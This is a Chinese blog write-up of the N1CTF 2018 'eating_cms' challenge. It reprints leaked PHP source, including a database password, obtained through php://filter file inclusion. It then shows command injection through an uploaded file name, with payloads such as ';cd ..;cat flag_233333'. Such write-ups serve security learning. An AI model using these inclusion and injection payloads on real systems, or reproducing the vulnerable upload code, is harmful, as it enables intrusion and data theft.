[N1CTF 2018]eating_cms 1

news/2024/11/15 11:47:45/文章来源:https://www.cnblogs.com/z2gh/p/18307337

信息收集,文件上传,rce,代码审计


打开之后是一个登录页面,同时他的url是login,呢么第一反应应该是看看有没有register.php发现是有的,..

但是admin是注册不了的,呢么我们先随机注册一个尝试看看能不能更改权限,

登陆上之后发现是没有session的也就是目前没办法切换admin账号,但是url可以看出,这里可能存在文件包含之类的,
测试之后发现是有文件包含在里的用伪协议读取

/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

<?php
require_once "function.php";
if(isset($_SESSION['login'] )){Header("Location: user.php?page=info");
}
else{include "templates/index.html";
}
?

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

config.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?

hacker.php

<?phpinclude("templates/hacker.html");
?>

然后这里不难发现是由flag的信息的,

也就是说我们可能要去读取呢个和flag有关的文件,但是这里有个parse_url() parse_str()这两个函数这个我也查到过相关资料,这里就直接给大家绕过方法

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

可以发现读到了flag相关文件
ffffllllaaaaggg.php

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

m4aaannngggeee.php

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";?>

然后发现给我们了一个upload的网页,我们尝试访问一下

发现是有一个文件上传的
这样的话我们就可以去尝试上传文件

可以在报错中发现这是有一个php文件的我们尝试去读取他的源码
和刚刚的方法是一样的
upllloadddd.php

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

这里就有个很明显的漏洞了

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

发现他会对我们的文件名进行命令执行,然后进行输出可以看到他是对前后进行拼接的,如果我们在这里传入;给分割开,呢么我们就相当于拿到了shell
但是在这直接上传文件发现是假的,呢既然这样的话呢我们不妨尝试去url一下我们之前的文件发现manager有东西

可能真正的位置在这里
继续尝试上传

;ls


发现是爆装备了

之后我们尝试ls /发现被绊了ls ../也不行,呢么我们只能先进行目录穿越了

;cd ..;ls

;cd ..;cat flag_233333


得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/745227.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

超级炫酷的终端神器 eDEX-UI

eDEX-UI,不仅是一款全屏幕、跨平台的终端模拟器和系统监视器,更是一件被封存的艺术品,让你尽情沉浸于科幻般的装逼幻想之中。它的界面设计独特,仿佛来自未来世界,让你仿佛置身于科幻电影中。 eDEX-UI主要亮点:科幻感的外观 跨平台 自定义主题选项 支持多个终端标签 Windo…

Axure引用Antv-G2

本文分为5个模块:引用模版、说明---引用模版、说明---antv-g2图表示例代码、axure引用步骤、示例代码 引用模版: javascript:var script = document.createElement(script);script.type = "text/javascript";script.src ="https://unpkg.com/@antv/g2/dist/g2…

双非一本,裁员两个月,进 WLB 外企,涨幅 50%

大家好,我是R哥。 今天和大家分享一个特别有成就感的面试辅导案例,这个小兄弟的个人情况如下:双非一本 刚毕业不久 校招进了家全球外包 被裁员空窗两个月 没有社招经验我叫他「小马」好了,小马通过我们的面试辅导,成功拿到某知名外企、数字马力、Bamboo 等多个知名企业 Of…

移动端适配的基础概念

一、英寸 一般用英寸描述屏幕的物理大小。如苹果SE 4英寸,苹果XS 6.5英寸,电脑显示器的22英寸 上面的尺寸都是屏幕对角线长度。英寸和厘米的换算:1英寸 = 2.54 厘米二、分辨率 2.1 像素 像素即一个方块,具有特定的位置和颜色。像素可以作为图片和电子屏幕最小组成单元通常我…

Linux 提权-密码搜寻

本文通过 Google 翻译 Password Hunting – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。导航0 前言 1 密码搜寻 – 文件名和文件内容1.1 寻找有趣的文件名 1.2 寻找有趣的字符串2 密码搜寻 – Web 文件/Con…

Bk1_Ch10_01

Chapter 10 解剖一幅图 Book_1《编程不难》 | 鸢尾花书:从加减乘除到机器学习 代码来源:https://matplotlib.org/stable/gallery/showcase/anatomy.html import matplotlib.pyplot as plt import numpy as npfrom matplotlib.patches import Circle from matplotlib.patheffe…

java八股复习指南-多线程篇

多线程 线程的实现 在 Java 中,实现多线程的主要有以下四种继承 Thread 类,重写 run() 方法; 实现 Runnable 接口,实现 run() 方法,并将 Runnable 实现类的实例作为 Thread 构造函数的参数 target; 实现 Callable 接口,实现 call() 方法,然后通过 FutureTask 包装器来创…

W外链创建抖音私信卡片教程,私信卡片跳转微信工具

W外链地址wai.cn 在数字化时代的浪潮中,私域流量的价值愈发凸显,成为企业获取用户、建立品牌忠诚度、提升转化率的关键手段。抖音,作为当下最热门的短视频社交平台之一,其用户基数庞大、互动性强,为企业私域引流提供了绝佳的舞台。而抖音私信卡片,正是私域引流中的一把利…

Gradle更换阿里云镜像源

1、下载Gradle 官网:https://gradle.org/releases/ 2、配置Gradle环境变量 3、安装目录下找到init.d文件夹 再该文件夹中创建init.gradle文件,编写一下脚本替换阿里云镜像// 阿里云仓库和源仓库地址对比:https://developer.aliyun.com/mvn/guidegradle.projectsLoaded {root…

CANXL协议解读系列 | (2)一文读懂ISO 11898-2:2024 CANXL物理层

伴随着ISO 11898-2:2024版本的更新,第三代CAN总线通信CAN XL技术迎来了它的序幕。 2024年3月22日, ISO 推出11898-2:2024版本,标志着CAN总线收发器的最高速率由CANFD行业认可的8Mbit/s提速到最高20Mbit/s(2024年5月24日ISO 11898-1 2024已发表)。20Mbit/s的传输带…

EFCore -CodeFirst模式 数据库使用SqLite

首先安装nuget包:System.Data.SQLite 和 SQLite.CodeFirst,如下二图:然后在App.config中配置数据库连接字符串: <connectionStrings><add name="StuDB" connectionString="data source=BoilerCalculator.db" providerName="System.Data.S…

log4net 在.NET Core 控制台程序中的应用(2)

简介 本文主要讲解log4net 在.NET Core控制台程序中的应用 步骤 1.安装log4net Nuget包 2.增加配置文件 3.直接调用 4.验证结果 实施 1.安装log4net Nuget包 首先,需要在你的.NET Core项目中安装log4net包。可以通过NuGet包管理器来安装。打开你的项目,然后使用以下命令安装l…